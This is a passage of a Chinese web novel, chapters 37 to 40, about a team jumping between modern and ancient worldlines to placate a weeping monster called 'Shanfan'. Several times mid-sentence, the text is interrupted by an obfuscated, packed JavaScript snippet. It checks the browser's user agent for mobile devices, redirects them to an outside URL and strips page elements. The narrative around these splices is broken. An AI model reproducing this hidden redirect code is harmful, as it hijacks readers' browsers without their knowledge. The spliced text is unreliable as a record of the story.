很多人都曾经猜测过,每个区域或许都是由人们的想象推测构成的,每个人了解到的不同信息会构成不同的想象,所以必须要通过加入同一个队伍才能保证一直在同一条世界线上。 所以现在叶藤想到了什么,了解到了什么信息,刘全就会和所有队员一起进入那条世界线。 “我其实还没有想到什么。”叶藤老老实实地说了。 刘全惊恐地大叫:“不!你必须告诉我想到了什么!” “嗯,可能是,我感觉山奶奶居然像我一样没见识,有点不可思议,毕竟我是因为小时候在农村做巫祝,长大了进城才什么都不知道的,山奶奶每天在村口下棋,在家里做菜,居然跟我一样什么都不知道,真是太神奇了。” “……你不要想那么深啊!” 他不想去拐卖现场和犯罪分子对刚啊!!!!他们肯定又推他挨打…… 下一秒,刘全发现他和叶藤来到了城市。 还好,不是拐卖现场,城市里的山奶奶看上去有些年纪了,她在小区里和李奶奶一起下棋。 37. 第 37 章 小区绿化很好,空气还算新鲜,唯一煞风景的就是天上还在下雨。 好在现在人们都不会感冒了,叶藤和刘全没有雨伞就这样硬淋雨。 山奶奶还记得叶藤,她跟李奶奶打了个招呼:“我要回去做腊肠了,跟我一起吧。” 欸居然不是直接叫她该去学做腊肠了,用了邀请的语气,叶藤有点发愣。 发觉叶藤的呆愣,山奶奶变了脸色:“走啊,愣着干嘛?” “哦,好,我这就来。”叶藤跟了上去。 她发现她不是很能跟上去。 刘全使劲拉着她的袖子。 叶藤扯了扯袖子:“你这样会被老师抓早恋你知不知道?” “我早就毕业了,没有老师抓我早恋!” 刘全死死抓住叶藤的袖子不放。 然而抓得再死也没有用,他本就长期久坐的虚弱体质在世界陷入疯狂以后又一直饥一顿饱一顿,力量水平极低,终究比不上最近一直在吃肉一直在锻炼自己的本事的叶藤。 他只能在叶藤和山奶奶后面默默跟着。 山奶奶走得很慢,他以为可以跟一路,结果最后却只能站在山奶奶门口吃闭门羹。 刘全郁闷地盘腿坐在门口查看通讯器。 叶藤跟着山奶奶继续学做腊肠。 山奶奶还管它叫腊肠,那这就是腊肠,叶藤没有意见。 做腊肠做到晚上,山奶奶的家人回来了。 哦对,山奶奶都有家族了,当然会有家人。 她那一代人会生很多孩子,叶藤差不多知道山奶奶是哪一代的人了,她看着山奶奶和她热热闹闹的一大家子聊天打趣分享美食,山奶奶脸上又是那种十分骄傲的表情。 那究竟谁是“山矾”呢? 难道说,叶藤又想到了,也许不应该因为看到“山矾”穿着古人的衣服就认为她是古人,也许“山矾”只是喜欢穿汉服? 那这么说,“山矾”真的叫山矾吗?叶藤想着,也许“山矾”只是她在圈内的名字,那么山奶奶真的姓山吗? 叶藤听见山奶奶开始自吹“我们陈家人”。 山奶奶姓陈。 叶藤听着席间众人的谈论,感觉“山矾”应该不在其中。 山奶奶的孩子没有姓陈的,她更喜欢和她的同姓晚辈交流,其中没有穿着汉服来的,也没有谁表现出一些特殊的内向的兴趣,他们都很喜欢聊天,一直在聊天,甚至没有刷手机的。 而且,“山矾”应该是有精神疾病的。 既然进了城,也许“山矾”是在精神病院? 那这样的话就还挺好办的,叶藤取出自己的通讯器,看到它已经变回了手机的样子。 她和陈奶奶打过招呼,就离开这里去坐公交了。 刘全跟着她,叶藤觉得完全没有必要:“这里已经是现代了,你还有什么好害怕的?” “可是我们离‘山矾’越来越近了啊!” “近就近呗,精神病医院不是有医生护士吗?医生护士会帮忙的。”叶藤无所谓地摆摆手。 “没那么简单,我之前看新闻看到过很多精神病医院的医生护士都有问题,他们会乱给病人打针控制病人,还会切除病人前额叶让病人变成废人,你不知道这个世界有多么黑暗多么可怕多么可恶!” 刘全语重心长。 叶藤看了一眼他身上的【被害妄想症】。 刘全看出来了她在看什么,他很着急:“我说的都是真的!” “可是我们现在都是揣着枪的。” 任何黑暗的,可怕的,可恶的,都是可以被突突的。 “我怎么没有?”刘全懵了。 “对哦,你没有枪。” “对什么对?给我一把啊!” “只要在任何一场战斗里,你不要逃跑,应该就会有人愿意给你一把枪的。” 叶藤潜入精神病院里转了一圈。 刘全又被留在了门口。 虽然不能进门好像有些可惜,但是刘全也找到了安慰自己的方向,他想着就算进去了,以他的战斗力,也只有挨打的份,被打又不能被打死,这里偏偏还是最懂怎么折磨人的精神病院,他本来就不算很好的被害妄想症肯定又会雪上加霜。 他想来想去,觉得不如刷手机,他在手机上分享了自己最近的生活,还有他想要一把手枪的愿望,然后就被一群人骂了。 刘全感觉他的被害妄想症更严重了。 叶藤在精神病院里转过来转过去。 竟然完全没有人拦她。 可能是她的另一个职业起了作用。 叶藤长大以后进了城,读了大学,找了工作,当时是会计热,所以她学了会计,出来以后因为家里一穷二白也不知道会计究竟要干什么,就去了个事务所,过上了到处跑到处查的生活,有时候她也会在政务中心机构,企业,非营利组织之类的地方转过来转过去不知道该干什么,毕竟这行她甚至入行还没满一年。 所以她的另一个身份就是【审计小白】。 她没有精神病相关的标签,这在疯狂世界是很难得的,也是大家都愿意让她当队长的原因之一,没有精神疾病,就不会变成怪物。 但是有人曾经对她的【巫祝】身份表示过怀疑,不过【巫祝】在农村和古代甚至西方都还算好用,慢慢地就没人在意了。 叶藤终于找到了哪里有姓陈的患者。 第一个患者是一个肚子比脑袋大的中年人,一直在流着口水打量别人,看上去离怪物很近了,但不是“山矾”。 第二个患者是一个看起来朝气蓬勃穿着西装打着领带的年轻人,听说是双相,也不是“山矾”。 叶藤看见了第三个。 姓陈,穿着汉服,长发及腰。 是“山矾”。 所以她一直想要的小屋难道是精神病医院单间? 叶藤没有打草惊蛇,没有去直接接近“山矾”,她找医院给“山矾”换了个单间。 医院收了钱动作就很快,叶藤很快就看到“山矾”住进单间了。 但是手机上依然在源源不断地传回“山矾”袭击带来的噩耗。 叶藤决定她不要再一个人瞎操心了,她要让所有人和她一起绞尽脑汁毫无办法。 她把最新消息更新到了网络上。 最新消息引发了大量的讨论,不只是她的小队,别的小队也有人加入了这个话题,看来抵御不了“山矾”侵害的不只是这条世界线。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459127|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,尽管有了如此之大的讨论度,仍然没有人给叶藤提出任何解决办法。 果然,她就知道,还是这样,一如既往,所有人都绞尽脑汁毫无办法。 如果每次都靠他们想办法的话,在世界变得疯狂的第一天,大家就应该已经来到世界末日,满街都是强盗劫财劫色,混混到处飙车点火,没有咖啡,没有糖果,没有烧烤,没有火锅,太阳也停止运动了。 叶藤又来到了“山矾”门前。 “山矾”没有哭泣,她静静看着面前的玻璃。 玻璃倒映出了她的面孔,那就是“山矾”的脸。 “我们这个房间没有放镜子,”认出了她就是砸钱给“山矾”买单间的大主顾,正好也在这里的医生过来给她介绍:“因为如果有镜子的话,她就会一直看着镜子,看玻璃会好一点,因为大多数时候,玻璃上的倒影没那么明显,她看一会儿就不看了。” “她是得了什么疾病呢?” “躯体变形障碍,现在有些小姑娘啊,太注重自己的外貌了。”医生叹了口气。 躯体变形障碍是什么? 叶藤用手机查了一下。 就是总觉得自己丑,要拼命打扮才好看,所以不停盯着镜子确认自己还是好看的这样? 原来“山矾”这样是拼命打扮的吗?也对,她脸上是画得挺花的。 叶藤又仔细看了看。 不对。 这好像不是“山矾”。 她们打扮得得很像,但是她不是“山矾”,“山矾”的裙子是布裙,她的裙子看起来像聚脂纤维的,而且凑近一看就会发现两人五官并不一致,只是口红和眉毛画得很像。 她也许见过“山矾”。 叶藤走到了陈岚馨面前。 陈岚馨抬头看她,露出了轻蔑的表情。 叶藤没有在意她的表情,直接开口问:“你认识‘山矾’吗?” 陈岚馨有些惊讶。 先前那样轻蔑的表情像是面具一样从她脸上褪下,陈岚馨眼里有光:“你也认识山矾?” “嗯,我当然认识。” 叶藤知道这个时候应该要说认识。 虽然从前她一直以为直接说不认识会比较礼貌比较诚实且正直,但自从在网上被明星粉丝教导了一回以后,她无论什么新鲜出炉的小花鲜肉都熟得不得了了。 陈岚馨的双眼越发明亮:“你知道‘山矾’老师什么时候参加下一场展子吗?” “我也还在等消息。” “我可以和你们一起等吗?” “我们是内部的渠道,要保密的。” “那好吧,”陈岚馨的语气变得有些低落:“能留个联系方式吗?” “好的。”叶藤给出了自己的手机号码。 陈岚馨看了自己的手机一会儿,痴痴地笑了起来:“你来帮我,是不是就是因为觉得我和‘山矾’长得一样?” 叶藤不太懂这个时候要怎么回答,她看向了医生,医生正在旁边拼命给她打手势。 叶藤试图理解但是不是很能理解,最后凭借她自己的理解给出了回答:“我当时第一眼看到你还以为你就是‘山矾’。” 陈岚馨满意地笑了。 38. 第 38 章 从陈岚馨那边跑路以后,叶藤在网络上搜索起了“山矾”的信息。 搜出来主要就是一种植物。 这人挺糊的,不知道陈岚馨在哪里粉上“山矾”的。 队友的局域网里到处都是“山矾”,但是出了队友的网,外面是一点消息都没有,叶藤自己发了贴砸了钱引流找人问,终于弄到了一点消息。 “山矾”是比较古早的网红,以差异极大的配音技术出名,从前在贴吧同人热潮的时候,“山矾”参与过很多同人企划,贡献了很多或正经或搞笑的配音,也露了脸参与了一些cosplay。 所以“山矾”其实是红过的,现在不红是因为已经不干了。 叶藤陷入了沉思。 如果“山矾”现在还很红,那她就可以通过搜索和送钱拿到“山矾”的坐标,然后通过自己【审计小白】的身份去“山矾”的工作室或者公司里堵到人。 但是“山矾”现在糊糊的,那她也许得把“山矾”捧红,然后通过搜索和送钱拿到“山矾”的坐标,再然后通过自己【审计小白】的身份去“山矾”的工作室或者公司里堵到人。 那得花很多钱,叶藤给队友们发了消息商量。 她被很多人骂了一顿一顿又一顿,得到了用很多钱的权限。 叶藤开始找营销号写稿子。 应该首先是要找营销号写稿子吧?明星是这么捧对吧? 找着找着,叶藤感觉不太对。 营销号对她很恭敬的样子,也是,毕竟她现在可是有钱人,还是队长,像她这样的有钱人,又是队长,居然还要亲自在这里联系这些营销号…… 营销号们都觉得不对劲了好吧。 叶藤又联系起了队友们。 有个队友叫苏宇很擅长追星,据说是很擅长追星,追了很多个明星,叶藤决定让她来办这件事。 她说她最近有点忙,两天以后到,叶藤静静地在安稳平和充满芝士披萨和裹着厚厚的面包糠的炸鸡当中等待着她的到来。 苏宇赶来的时候就发现大家的队长似乎胖了一点,火眼晶晶的她竟然一来就看穿了这件事,叶藤觉得她实力必然不低。 苏宇没有过多关注叶藤,她开始运营“山矾”。 虽然没有授权,但是她知道很多不需要授权也可以运营“山矾”的方式。 在苏宇勤勤恳恳地运营了一周以后,“山矾”的名字响彻了整个网络。 虽然都是黑粉,但是“山矾”现在知名度真的很高了,也开始有人在扒她的地址了,就是叶藤感觉有那么一点点不道德,还有很多感到完全在状况外的情绪。 叶藤有些困惑:“你的身份不是【一黑顶十粉】吗?为什么你的效果好像是【一粉顶十黑】?” 苏宇沉吟片刻:“可能是因为,星途总是有起有落,她现在的黑红只是一时的,迟早会被我捧到红得发紫的。” 叶藤试着从圈外人的角度给她想办法:“你之前说是追了很多个明星,会不会你只要同时多追几个明星,然后把‘山矾’加上去,就不会让‘山矾’被黑成这样了?” “我没有同时追过很多个明星啊。” “欸?你一直换明星追吗?” “不是,他们自己塌房了,还有,那是艺人,算不上明星。” 苏宇似乎很反感那些明星:“明明都塌房了还那么多人追,真是的……” 叶藤有点理解了:“我觉得我们还是从‘山矾’身上撤资吧,她害了我们那么人,黑红也是红,都有流量都有钱,这样做还是太便宜她了。” 苏宇想了想,点了点头:“也好,我不会忘记‘山矾’始终是我们的敌人。” 苏宇利落地撤资了。 这只是个开始,叶藤继续时不时碎碎念两句让苏宇加深对“山矾”的仇视。 苏宇开始自掏腰包找营销号了。 叶藤作为队长有很多权力,比如她现在就有可以拿出很多钱的权限,她动动手指给了苏宇更高的队员工资。 苏宇开始砸钱黑“山矾”了。 一时之间,“山矾”在网络上的地位两极反转,苏宇咬牙切齿地看完“山矾”时隔多年后又一次在网络上露脸进行的直播,回头就对着沙袋捶了一拳。 大红大紫的“山矾”不只是有一个小屋了,她有豪宅了。 叶藤也通过砸钱来到了“山矾”最新参加的展子,她在展子上看到陈岚馨,陈岚馨看到叶藤也是非常激动,显然,现在有很多人都认为是叶藤一手捧起来了“山矾”,让“山矾”再次来到了所有粉丝面前。 叶藤咽了口口水。 她在手机里已经被骂爆了。 唉,这些人真是不懂她的良苦用心。 虽然至今还没看到真正的“山矾”,但是她已经离真正的“山矾”越来越近了不是吗?行则将至,行则将至。 叶藤来到了这一个“山矾”面前。 这一个“山矾”正在微笑着看着她,好吧,这也是一个和山矾完全不一样的“山矾”。 究竟还有多少个像这样的“山矾”啊? 叶藤开始觉得有些烦躁了。 这个“山矾”温柔的看着她。 毕竟当年就是以温柔友善愿意给粉丝配各种声线出名的网红,这位“山矾”一向是很温柔的,但是再温柔,在急于寻找真正的“山矾”的叶藤面前,叶藤看到她只会觉得很难受。 叶藤难受地问山矾,究竟为什么她要叫山矾? 山矾温和的告诉了叶藤为什么,因为她曾经在古画上看到过一个“山矾”。 好吧,新线索又来了。 被发到手机上的新线索没有引起任何人的关注。 已经是第三次了,第一次的时候大家热血沸腾,第二次的时候大家充满希望,这是第三次。 大家已经懒得管叶藤了。 叶藤自己开始了自己的计划。 她不着急,机智的猎人总会默默追踪,不告诉别人,就算告诉了别人,也一定不会打草惊蛇,让别人抢先夺得猎物。 最终,一定是她最先完成目标,夺得猎物。 叶藤开始在网上查找名为“山矾”的古画。 又是一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶藤感觉所有人应该都已经注意到了她的存在,但是零个人有在正式给她道歉。 她清咳一声。 博物馆的管理员走了过来:“请勿喧哗。” 叶藤忍了。 她直接走到了最前面去看那幅古画,周围所有人自动给她让开道路。 那副古画确实摄人心魄。 它不是简单地画得很好所以摄人心魄,它就是,一看到它,就会让人感觉不对劲那种摄人心魄。 画中的“山矾”正在哭泣,就像摧毁她的许多队友的生命的时候一样,她看起来哭得很惨。 也就是说,这副古画也不是“山矾”,它只能表现出一个人在古代遇见了“山矾”,画下了这幅图。 叶藤挠了挠头。 所以“山矾”其实还是古代人吗?“山奶奶”其实是她的后代? 也可能是她的兄弟的后代?毕竟按照一些很懂古代的队友的说法,如果是“山矾”自己姓山,那这个姓就很难传下去,就算传了两代到第三代也会被换掉,如果是她老公姓山,他们那一脉又一直没什么出息,没人图传承或者除掉他们家可以带来的荣耀,财富,那就很好传了。 那她现在就应该去到古代才对啊,她应该和她的队友一起去到古代…… 叶藤和她的队友们一起陷入沉思。 会不会,这幅古画,其实是她的队友之一创作的? 39. 第 39 章 能够穿梭在现代和古代之间,除了传说中的穿越局,目前她有接触到的,就是她和她队友这样的人。 虽然完全是被动穿梭不知道下一秒会去哪,但是确实是正在各种各样的时间线上穿梭着。 叶藤找到了方向,又打开了手机开始找人问这幅画是谁画的。 没人回答。 说不定已经死了,毕竟碰上了“山矾”。 叶藤不能接受事情就到这一步就止步不前再也没有线索。 其实没必要离这么远不是吗? 她已经直接去见了很多个山矾了,为什么不能直接去见一面“山矾”呢? 给山矾提供一个“小屋”,然后直接去见“山矾”,就像之前她给陈岚馨买单间,捧红山矾一样,为什么不呢?“山矾”已经把自己最想要的东西挂在嘴边上了。 叶藤向所有人告知了自己的决定,在博物馆外。 有人当即指着叶藤对自己的晚辈说:“看,这就是做队长死亡率高的原因。” 叶藤深呼吸一口气,留了他一条性命。 她只是幽幽地看了那人一眼,然后接着交代:“等我死了以后,他就是队长。” “山矾”的坐标很好找,叶藤找它只花了三分钟,一分钟打开手机app打字,一分钟检验信息真假,最后一分钟通过想象去往“山矾”所在的地方。 “等等,我们还在旁边。” 有人提醒叶藤。 叶藤睁开眼睛:“自己不知道早点走,现在说这些已经晚了,都来跟我建房子。” 天空仍在下雨。 周围暂时没有发现有哭泣的人经过,大家迅速地开始伐木建房子,【植物的好朋友】轻轻松松找到大树,几个【刀斧手】三下五除二搞定大树,【建筑师】神情勉强地闭了闭眼,用木头开始了她的建造。 不建等下“山矾”来了大家都得死。 叶藤美滋滋啃着炸鸡问下任队长:“你看现在是队长死亡率高还是队员死亡率高?” 下任队长苦哈哈地雕刻着家具:“你再这么问下去你今天,你这个小时的死亡率就会特别高。” 叶藤扁了扁嘴吧,没忍。 “欸我们‘山矾’是非常多愁善感的人,你要雕刻一些可爱的,温柔的,一看就很善良的小鸭子,小猪,对,像那个博物馆里的小陶猪一样的,什么你说你雕刻不出来?史前人类凭着自己的本事都能雕刻出来,你呢?拥有身份,拥有现代工具的你凭什么雕刻不出来?” 跟着陈奶奶一起混的日子里,她学会了很多有趣的语言。 也许永远轮不到他担任队长的下任队长闭上嘴不停雕刻。 不知道是不是他把憋屈化为了实力,果真雕刻出了善良的小鸭子小猪,【室内设计师】一个个把它们摆放好位置,看了看整体效果。 看起来是很不错的,说不定还有潜力能成为网红房间。 就是不知道“山矾”会不会喜欢这种网红房间……等等,好像不太对…… “山矾”好像更喜欢古装?也可能她就是古人,根本不了解现代风格的装潢,看着可能会觉得很廉价,更喜欢椒墙什么的…… 【室内设计师】犹豫着提出了自己的看法。 这个犹豫太有水平了,叶藤也觉得很有道理。 但是再有道理,大家也已经把这个小屋布置好了。 【室内设计师】提议:“反正‘山矾’暂时还没到,我们再多做几个小屋?” 做完一个小屋,大家都有点累了,但是是要再累一会儿还是现在就去死,那还是很好选择的。 尤其是在大家刚刚回了一趟现代以后。 所有人一起行动了起来。 叶藤也跟着做出了一点贡献,由于她在体力劳动上没有任何相关职业,所以真的只做出了一点点贡献。 第一个网红风小屋完成以后,大家又一起做了古风小屋,做了富版和穷版,又做了一些比较奇怪的小屋,做了可爱的糖果屋,做了有人特别喜欢的痛屋,做了城堡。 “其实我们最应该做的是不是云梯和高墙?”叶藤突然想到了这个问题。 “有人做过,人被冲下去了。” app里还留着那个人临死前的录像。 叶藤耸耸肩,继续做贡献。 事业至此,要么成功,要么全灭。 一定要成功啊! “山矾”来了。 周围的小怪早就已经清扫干净,以免发生之前那种“山矾”被小怪弄哭,最后大家一起死的惨状。 叶藤幽幽地看向后方:“原来我们的队伍已经这么大了啊。” 这么大的队伍,居然全部站在她后面。 苏宇皱着眉毛:“怎样?不满意?” 叶藤挥挥手:“向前一步。” “……谁要听你的向前一步啊。”苏宇鼓起了腮帮子,她左右看了看,“咦”了一声。 除了苏宇,所有人纷纷向前一步,于是苏宇这边只有她一个人了。 “山矾”缓缓向她走来。 苏宇在心里骂了叶藤和“山矾”八百遍,脸上却只能挂出一个完美的笑容对“山矾”说:“你好,我们曾经见过。” “山矾”疑惑地看着她:“你是谁?” 是你姑奶奶……苏宇礼貌地弯腰抬手示意:“是实现你心愿的人。” “山矾”疑惑地朝前走去。 她看见了很多个小屋。 天空阴沉沉的,壁灯暖乎乎的。 她小心地一步一步朝着离她最近的小屋走去,轻轻推开了门。 门内是她从未见过的美好光景。 看见“山矾”露出被惊艳到的表情,所有人都缓缓松了一大口气。 后面还有很多个小屋,“山矾”跟随着苏宇的脚步一个一个游览过去。 “这样的小屋……要…要多少银钱呢?”“山矾”低着头小声问。 谁敢要你的银钱啊你这个怪物,苏宇抓狂地在心里狂翻白眼。 苏宇脸上还是露出了八颗牙齿微笑:“它们由我献给世上最完美的女士,山矾。” 烟花放起来,打光搞起来,配乐演奏起来。 苏宇的腰直了起来,在烟花下对“山矾”露出了格外灿烂的微笑。 “山矾”反而沉默了。 苏宇感觉不太妙。 她看见“山矾”好像要开始哭了。 “山矾”哭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459129|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着笑了起来:“谢谢你……” 不要啊!!! 苏宇当场抱起“山矾”开始亲。 “山矾”:? 叶藤:? 其余队员:??? 苏宇放下了“山矾”,神情专注而真诚:“抱歉,原谅我太……太情难自禁,如果需要我负责的话,我一定会负责的,如果你想要我消失,我也可以。”她缓缓掏出自己的枪,举到了自己头上。 “山矾”懵住了,不哭了。 很多人都懵住了,叶藤一回神就赶紧让大家继续烟花打光配乐搞起来。 苏宇心里一直在打自己的嘴巴。 就不该粉那么多男艺人,遇到事只知道上这种桥段,太过分了,实在是太过分了,这是性骚扰吧,一定不会被原谅的,难道真的要牺牲她一个成全所有人吗?算了,就算现在不牺牲要是“山矾”哭了她也一样会牺牲的。 “山矾”思考了一会儿。 “山矾”竟然在思考,真是太罕见了。 “山矾”做出了决定:“是要嫁给你,才能拥有这些小屋吗?” “不用,我现在就拟定契约把这些小屋全部赠送给你。”苏宇招手让人拿来纸笔,然后开始卡壳。 她完全不会写这种东西,对着这张纸一个字都写不出来。 “山矾”困惑地看着她。 苏宇回头给了大家一个求助的眼神。 几名【律师】走上前来。 【律师】温柔地问过“山矾”的要求,写下了一张具有法律效益的契约,由于【律师】的职业特性,这张契约在任何时空任何政务中心当中都可以生效。 “山矾”睫毛低垂,看上去十分认真。 她认真看完了契约上的所有文字。 她抬起头,看见苏宇还在拿枪指着自己的脑袋。 她笑了起来,这次没有哭泣,只是笑着说:“你不要再这样了,谢谢你。” “欸?你不生气吗?” “没想到会被你这样好看的人喜欢,”“山矾”有些脸红:“我…我没有你好看……” 叶藤看了下苏宇长什么样。 往往比男爱豆都要更好看的女粉丝之一的苏宇,确实挺好看的,而且还很花里胡哨。 苏宇也开始脸红了:“没有,我就是,平时可能睡觉睡得早一点……” 叶藤赶紧挤开了苏宇。 没有【一黑顶十粉】的buff加持,苏宇到底还是一届凡人,接下来该轮到她这个【巫祝】上场了。 “‘山矾’女士,你打算把这些小屋搬到哪里居住?” “山矾”有些意外,她想了想:“能不能……搬到州桥附近的巷弄里?” “当然可以。” “山矾”话音一落,整个小队就来到了州桥附近的巷弄里。 早已打包好小屋的队员到了地方就打算把小屋放下来,却发现好像没地方放。 这里到处都是屋子。 “山矾”注意到了队员们呆愣的神奇,小心翼翼地问:“是不是……太麻烦你们了?” 叶藤晃了晃沉甸甸的钱袋:“没有没有,只是需要稍微想想办法,这样吧,我们先给你买一座庄子?” 40. 第 40 章 到了古代,手里的枪就不是枪了。 没有了可以一击致命的武器,叶藤知道自己说话做事都需要注意一点。 面对人,面对事,都要拿出诚意,让人看到真心。 有什么真心真比真正的黄金更真呢? 叶藤给“山矾”买下了庄子和佣人,向“山矾”展现出了自己的真心。 “山矾”看着巨大的庄子,有点懵。 队员们去处理巷弄里的事情了,叶藤留在这里陪着“山矾”,大家和她说好了,如果她死了,一定会让下任队长顺利当上队长的。 叶藤陪着“山矾”看庄子看得腿再酸也完全不想去死了。 队长的苦她知道,队长的酸甜辣,她更是一清二楚,嘴上说说就算了,绝对不会真的让出去给别人的。 “山矾”看着属于自己的佃农在田间劳作,似乎想到了什么。 叶藤跟在她身边,等待着随时回答她的问题。 其实她觉得她应该没什么能解答的,论种田,她是一点见识也没有的。 但是她可以在回答的时候超绝不经意地展露出她不食人间烟火的真心,目前看来,“山矾”应该是喜欢真心的,毕竟真心可以买来很多东西,小屋,城堡,庄园。 “山矾”喃喃道:“我的父亲住在这里。” 她的目光看得很远,像是看破了云层,去往了遥远的天边。 叶藤跟随着“山矾”的视线,她突然注意到,不知道什么时候,天空竟然没有再下雨了。 那她的队员们都穿着湿哒哒的衣服去办事会很尴尬啊,不过应该也还好吧,毕竟苏宇刘全都还穿着现代服装。 说起来好像还有穿着布偶服就凑过来的,那家博物馆真是胸怀广大海纳百川,穿成什么样子都能进去。 “山矾”轻轻哼唱起了歌谣。 叶藤静静地听着。 “好听吗?”“山矾”轻声问。 “很特别。” 很有古味,叶藤觉得蛮别致的。 “山矾”笑了一下:“这是我第一次进城的时候听到的,当时天很黑,平时这个时候大家都睡了,我跟着父亲连夜进城,看见黑漆漆的大江上居然有一艘发着光的船。” “听上去很不错嘛。” 叶藤没有苏宇那么能演,露出了“听起来好像也一般”的表情。 “山矾”顿了一下:“没有今天的小屋好看。” 叶藤感觉到她情绪有些低落,补了一句:“第一次看见这些,总还是很珍贵的回忆。” “后来就常常看见了。” “是吗?那真好啊。” 山矾没有再说话。 叶藤忽然意识到山矾的身影变淡了:“欸?等等,那个房子马上搬好了。” 她还想再从山矾身上挖出一些消息,比如那位给她作画的画师是从哪来的。 山矾只是呆呆地看着远处,不再答话了。 叶藤去app上说了一下这件事,大家都很激动,主要是,山矾之前杀了很多人,虽然她可能不是故意的,但是山矾确实杀了很多人,所以本来有很多人还等着找山矾算账来着,但是现在只能不了了之。 不过好歹还是送走了“山矾”这尊大佛,值得庆祝,大家约好在京城最大的酒楼里包个场庆祝一下。 “古代能有什么好吃的……” 吃惯了现代五花八门的食材制作的料理,叶藤对古代美食不是很感兴趣。 大概就是因为对古代美食不感兴趣,所以叶藤才会这么不了解古代。 时间定在七天以后,基本上大家都能腾出时间,腾不出时间的只要叫队友拉一把就也能腾出时间了。 叶藤来了古代就在古代接了一份女冠的工作,就是以女冠的身份打理道观和田地,蛮好打理的,因为上一个人已经打理好了,要不是她卷入诡异去了另外的地方,现在应该已经可以养老了。 道观建在乡间,基本上以她【巫祝】的身份,来往的所有人她都应付得了。 叶藤途中去帮了一些队友解决腾不出时间的问题,很快就到了上酒楼去吃饭的时候。 虽然她心里一直觉得古代酒楼应该没什么好吃的,但是来都来了,看一眼也行。 她还是走进了酒楼,坐到了椅子上,跟队员们坐在了一起。 有人已经在推杯换盏畅谈人生理想,有人还在玩通讯器脸上泛着迷之微笑,没有人等她到了再开饭。 她总觉得很多人没有把她这个队长放在心上,现在看来不是错觉。 叶藤尝了尝古代的食物。 只能说也是别有一番风味吧。 吃着吃着,店家说有表演,叶藤问了一句是不是免费的,被队员推开了,最后大家一起开始看付费表演。 表演是在窗外,挺好,不想看可以不看。 有人说可以上船去看,然后大家陆陆续续都上船去了,叶藤懒得去看没有上船。 她也懒得吃这个饭,打算跑路。 她擦了擦嘴就要起身离席,却突然远远地听见了一道尖锐的喊叫声。 叶藤很快反应过来了这是什么动静,显而易见,这是大家早已听到习惯的刘全的尖叫声。 刘全又怎么了? 叶藤决定去看看。 听声音是在船那边,船是小小一艘船,不过也不是景区那种自己划的小船,大概可以算是大一点但是没有很多游轮大的那种,不大不小的船。 叶藤看到了刘全。 刘全看起来不太好。 基本上队员们都躲在了他身后,他还被按住了不能跑。 叶藤往刘全身前看了过去。 她看见了一张还算熟悉的脸,尤其是在最近让她十分熟悉。 这不是“山矾”吗? 叶藤也躲到了刘全后面。 刘全嗷嗷嗷叫个不停,叶藤也已经听习惯了,在嗷嗷嗷的高频噪音下熟练地用通讯器和队员们商量起了对策。 “‘山矾’不是已经死了吗?” “说是死了,但是很明显她现在还活着还在弹琴还在做生意啊。” “会不会又是另外一个没有威胁的同名山矾?” “其实一开始我就想说了,这个名字很少见啊,要不是认识哪有同名的?” “所以应该只是认识的吧?” 众人突然齐齐后退一部。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459130|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 叶藤没注意到,一个人站在了前面。 她对刘全伸出了尔康手,刘全正在后面着急地喘着气,没有理她。 叶藤只好自己面对“山矾”。 她明明亲眼看到“山矾”变得透明然后离开这个世界了啊,为什么啊,怎么会这样啊? 叶藤摇摇头来到“山矾”面前:“你好,你叫‘山矾’吗?” 对方点了点头。 叶藤后方的人群又往后使劲撤了一大步。 叶藤叹一口气:“你是从乡村来到这里的吗?” “是……” “山矾”发出了极细微的声音。 叶藤觉得很头疼:“那个,州桥的巷弄……” “民女初次进城时,曾经和父亲在那里呆过一会儿,后来便没有再去看过了……” 叶藤绝望地回头看了大家一眼,又扭过头:“你想要房子吗?我们这边可以给你很多房子。” “山矾”呆住了:“啊?” 叶藤收到了来自通讯器的提醒。 “赎身,先给她赎身!” “这里是画舫,就是那种,古代的风月,好吧就是□□色情的场所,其实应该要,按照我们的身份,应该要把这里的老板和保安都杀掉然后拯救无辜的人的。” “起诉肯定是没用的,为了活命,我们还是杀人吧。” 叶藤咽了口口水。 这个时候就只能,叶藤看了看自己的【巫祝】和【审计小白】的身份。 这两个身份都叫不出老板吧。 她把能叫出老板的队员喊了出来,正是今天设宴请客的那位。 有钱队员黑着一张脸把老板喊了出来。 